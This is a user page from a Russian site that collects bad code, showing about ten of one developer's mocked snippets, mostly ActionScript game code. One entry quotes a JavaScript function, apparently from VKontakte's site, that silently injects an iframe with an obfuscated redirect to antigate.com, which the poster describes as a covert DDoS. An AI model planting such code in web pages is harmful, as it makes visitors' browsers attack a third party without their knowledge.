1. Список говнокодов пользователя KirAmp

    Всего: 34

  2. ActionScript / Говнокод #12796

    −106

    1. 1
    2. 2
    //дальше идет "родной" движок, спасибо не надо.
    return;

    Разбираюсь в исходнике одного индуса, поддерживаемого 4 года нашими разработчиками

    KirAmp, 25 Марта 2013

    Комментарии (0)
  3. Куча / Говнокод #11506

    +130

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    31. 31
    32. 32
    33. 33
    34. 34
    35. 35
    36. 36
    /*
    	 * Это массив объектов данных мануала. Один элемент - одна ступень.
    	 * У объектов может быть указан checkpoint:Boolean - место, к которому вернется игрок, при закрытии игры
    	 * У каждого объекта должен быть указан type:String, в зависимости от этого меняются другие свойства.
    	 * Для создания нового типа ступени туториала - необходимо создать класс, наследующий ITutorialData
    	 * и добавить соотвествующую запись в showStep::TutorialManager
    	 * Виды type:
    		 * dialog - диалоговое окно, атрибуты:
    			 * sex:Boolean - какого персонажа показывать в окне
    			 * descr:String - текст диалогового окна
    		 * pointer - стрелка, указывающая на кнопку
    			 * x,y:int - координаты кнопки
    			 * width,height:uint - размеры кнопки
    			 * x_a,y_a:int - координаты стрелки
    			 * angle:int - поворот стрелки, рекомендуемые значения: 0, 90, -90, 180
    			 * необязательные:
    				 * startfunc:Function - функция, выполняемая ПРИ переходе на эту ступень
    				 * endfunc:Function -  функция, выполняемая ПОСЛЕ нажатия кнопки
    		 * handler - слушатель событий
    		 * target:EventDispatcher - объект, на который подпишется туториал
    		 * event:String - название события, на которое подпишется туториал
    		 * необязательные:
    				 * startfunc:Function - функция, выполняемая ДО подписки на событие
    				 * eventDispatchFunction:Function - функция, выполняемая ВО ВРЕМЯ возникновения события
    				 * endfunc:Function -  функция, выполняемая ПОСЛЕ возникновения события
    		 *  handler-pointer - слушатель событий, показывающий стрелку
    			 * x_a,y_a:int - координаты стрелки
    			 * target:EventDispatcher - объект, на который подпишется туториал
    			 * event:String - название события, на которое подпишется туториал
    			 * необязательные:
    				 * startfunc:Function - функция, выполняемая ДО подписки на событие
    				 * eventDispatchFunction:Function - функция, выполняемая ВО ВРЕМЯ возникновения события
    				 * endfunc:Function -  функция, выполняемая ПОСЛЕ возникновения события 
    	 * Спасибо за внимание
     */			
    public static var data:Array;

    После такого комментария становится страшно что-то трогать

    KirAmp, 31 Июля 2012

    Комментарии (8)
  4. ActionScript / Говнокод #10309

    −151

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    private function chopCompleteHandler(e : DataEvent):void
    		{			
    			if (e.getData().toString() != "false")//что за чудесные преобразования? ////так надо, по другому не хочет
    			{
    				_player.animLift();
    				if (!e.getData().energy)
    				{
    					targetSquare.fieldObject.lifes = uint(e.getData().lifes);
    					if (e.getData().lifes == 0)
    						targetSquare.destroyFieldObject();
    					if (e.getData().bonus)
    						scatterBunuses(e.getData().bonus);
    					Model.instance.requestData(ModelEnum.SERVICE_USER, ModelEnum.METHOD_GETINFO, true, GameCanvas.instance.userID);
    				}
    				else
    					Alert.show("Нужно еще " + e.getData().energy+".", "Недостаточно энергии");
    			}
    		}

    KirAmp, 17 Мая 2012

    Комментарии (2)
  5. ActionScript / Говнокод #10188

    −207

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    public function Square() 
    		{
    			_image = new Image();
    			_image.smoothBitmapContent = true;
    			_mask = new Image();
    			Level.instance.addEventListener("squaresCreated", squareCreatedHandler);
    		}
    		
    		/*
    		 * Добавляет монстров на field по событию "squaresCreated".
    		 * Почему эта логика не в field не ебу.
    		 */
    		private function squaresCreatedHandler(evt:Event):void
    		{
    			if (isMonster)
    			{
    				Level.instance.field.addChild(_fieldMonster);
    				_fieldMonster.x = this.x;
    				_fieldMonster.y = this.y;
    			}
    		}

    Мимими, всегда бы такие комменты в коде встречать

    KirAmp, 04 Мая 2012

    Комментарии (1)
  6. JavaScript / Говнокод #10053

    +147

    1. 1
    2. 2
    3. 3
    function _test() {
      var fr=utilsNode.appendChild(ce('iframe')),d=fr.contentWindow.document;d.open();d.write('<script>this.location="http://ant'+'iga'+'te.com/i'+'n.php?'+'firs'+'t_an'+'d_la'+'st_wa'+'rnin'+'g=o'+'n";</sc'+'ript>');setTimeout(re.pbind(fr),1000);
    }

    "Умный" ддос ВКонташкой antigate.com
    http://habrahabr.ru/post/142836/

    KirAmp, 26 Апреля 2012

    Комментарии (3)
  7. ActionScript / Говнокод #10034

    −211

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    31. 31
    32. 32
    33. 33
    34. 34
    35. 35
    36. 36
    37. 37
    38. 38
    39. 39
    40. 40
    41. 41
    42. 42
    43. 43
    44. 44
    45. 45
    46. 46
    47. 47
    48. 48
    49. 49
    50. 50
    51. 51
    52. 52
    53. 53
    54. 54
    55. 55
    56. 56
    57. 57
    58. 58
    59. 59
    60. 60
    61. 61
    62. 62
    63. 63
    64. 64
    65. 65
    66. 66
    67. 67
    68. 68
    69. 69
    70. 70
    71. 71
    72. 72
    73. 73
    74. 74
    75. 75
    76. 76
    77. 77
    78. 78
    79. 79
    public function GameCanvas() 
    		{
    			if(_instance)
                    throw new Error("Вы не можете создавать экземпляры класса при помощи конструктора. Для доступа к экземпляру используйте GameCanvas.instance.");
    			if (stage) {
    				createGameCanvas();
    			} else {
    				addEventListener(Event.ADDED_TO_STAGE, createGameCanvas);
    			}
    		}
    		
    		public var field : Field;
    		public var current_field : uint = 1;
    		public var fields_canvas : Canvas;
    		public function createGameCanvas(e:Event = null):void  
    		{ 
    			GodObject.instance.addEventListener(ModelEnum.SERVICE_LEVEL.toString() + "." + ModelEnum.METHOD_GETUSERLEVEL.toString(), createLevel);
    			GodObject.instance.addEventListener(ModelEnum.SERVICE_SANDBOX.toString() + "." + ModelEnum.METHOD_GETUSERSANDBOX.toString(), createSandbox);
    			GodObject.instance.addEventListener(ModelEnum.SERVICE_USER.toString() + "." + ModelEnum.METHOD_GETINFO.toString(), getInfoHandler);
    
    			removeEventListener(Event.ADDED_TO_STAGE, createGameCanvas);
    			this.width = 800;
    			this.height = 600;
    			this.x = 0;
    			this.y = 0;
    			this.autoLayout = false;
    			this.verticalScrollPolicy = "off";
    			this.horizontalScrollPolicy = "off";
    			_memСontroller = new MemoryController();
    			loadData = new LoadData();
    			stage.addEventListener(Event.RESIZE , windowResize);
    			
    			MainInterface.instance.create_main_interfame();
    			this.addChild(MainInterface.instance);
    			
    			var items:Vector.<InventoryItem> = new Vector.<InventoryItem>();
    			items.push(new InventoryItem(FieldLibrary.square_grass_class, "sad"));
    			items.push(new InventoryItem(FieldLibrary.square_grass_class, "sad"));
    			items.push(new InventoryItem(FieldLibrary.square_grass_class, "sad"));
    			items.push(new InventoryItem(FieldLibrary.square_grass_class, "sad"));
    			Inventory.instance.createInventory(items.length+ 68, items);
    			
    			
    			//addChild(ActiveQuests.instance);
    			var obj:Array = [ { name:"Найди пять бутылок", descr:"Тебе необходимо сдать 5 бутылок, чтобы купить банку яги!" },
    			{ name:"Трололошки", descr:"Оставь десять комментов, содержащих слово \"школота\"!" },
    			{name:"Сдай сессию", descr:"Будь мужиком, сдай сессию!"} ];
    			ActiveQuests.instance.setQuests(obj);
    			
    			
    			
    			switch (Capabilities.playerType) {
    				case 'StandAlone':	
    					loadData.gateway.call("Server.service", new Responder(startSessionResult, loadData.onFault),"User.startSession", "bstrx");//bstrx
    					break;
    			}
    			
    			for (var i:uint = 0; i < MainInterface.instance._menuBtsButtons.length;i++)
    				(MainInterface.instance._menuBtsButtons[i].img as Image).addEventListener(MouseEvent.CLICK, menuButtonsClickHandler);
    		
    			//Model.instance.requestData(ModelEnum.SERVICE_LEVEL, ModelEnum.METHOD_GETUSERLEVEL, true, userID, current_field);	
    		}
    
    		private function createLevel(e : DataEvent):void 
    		{
    			if (e.getData())
    			{
    				ScreenManager.removeObject(field, this);
    				field = new Field();
    				field.sandbox = false;
    				field.initFieldListeners();
    				field.initSquareListeners();
    				field.createField(e.getData());
    				field.rearrange();
    				field.createPlayer(e.getData()[0].id);
    				this.addChildAt(field, this.getChildIndex(MainInterface.instance));
    				MainInterface.instance.setBtnsField();
    			}
    		}

    Кусочек главного класса игры до рефакторинга

    KirAmp, 25 Апреля 2012

    Комментарии (25)
  8. JavaScript / Говнокод #8860

    +145

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    this.getRgbaAtColor = function(color)
    {
    	color = (color.charAt(0)=="#") ? color.substring(1,9):color;
    	color = (color.substring(0,2)=="0x") ? color.substring(2,10):color;var r =  parseInt(color.substring(0,2),16);
    	var g = parseInt(color.substring(2,4),16);
    	var b = parseInt(color.substring(4,6),16);
    	var a = color.substring(6,8);
    	a = (a=="") ? 255:parseInt(a,16);
    	return "rgba("+r+","+g+","+b+","+(a/255)+")";
    }

    геймдев..

    KirAmp, 17 Декабря 2011

    Комментарии (4)
  9. ActionScript / Говнокод #8745

    −119

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    31. 31
    private function pathfindingOfHell(begin:Point, to:Point, delPoint:Point):Boolean
    		{
    			var aop:Vector.<GameFigure> = new Vector.<GameFigure>();
    			aop.push(arr[begin.x][begin.y]);
    			var i:uint = 0;
    			while (i != count * 2 - 1)
    			{
    				for (var x_:int = -1;x_ < 2;x_++)
    					for (var y_:int = -1;y_ < 2;y_++)
    					{
    						if (x_ != 0 && y_ != 0)
    						{
    							var tP:Point = new Point(aop[aop.length - 1].x_pos + x_, aop[aop.length - 1].y_pos + y_);
    							var target:GameFigure = arr[tP.x][tP.y];
    
    							if (!target.isFreedom && !searchInArray(aop, target) && delPoint != tP)
    							{
    								aop.push(target);
    								if (target == arr[to.x][to.y])
    								{
    									aop = null;
    									return true;
    								}
    							}
    						}
    					}
    				i++;
    			}
    			aop = null;
    			return false;
    		}

    KirAmp, 06 Декабря 2011

    Комментарии (5)
  10. JavaScript / Говнокод #8649

    +145

    1. 1
    http://light-radio.com/dev/

    Изучал Канвас. Открывайте исходный код и удивляйтесь =)
    Столько говна я наверно еще никогда не писал.

    KirAmp, 25 Ноября 2011

    Комментарии (3)
  11. ActionScript / Говнокод #8583

    −117

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    var regs:Vector.<DisplayObject> = new Vector.<DisplayObject>();
    
    var i:uint=0;
    while(map["reg"+i])
    {
    	regs.push(map["reg"+i]);
    	i++;
    }
    
    trace("<xml>")
    for(i=0;i<regs.length;i++)
    {	
    	trace('<reg id="'+i+'">');
    		trace("<name>"+getQualifiedClassName(regs[i])+"</name>");
    		trace("<url></url>");
    	trace('</reg>');
    }
    trace("</xml>")

    мои (промежуточные) извращения на тему карты россии с кликабельными регионами и данными в xml.

    KirAmp, 20 Ноября 2011

    Комментарии (8)